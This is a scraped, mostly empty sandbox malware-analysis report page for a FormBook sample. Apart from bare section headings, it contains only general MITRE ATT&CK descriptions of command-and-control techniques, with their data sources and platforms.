Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report 08917506_by_Libranalysis

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: FormBook

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Persistence and Installation Behavior:

Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre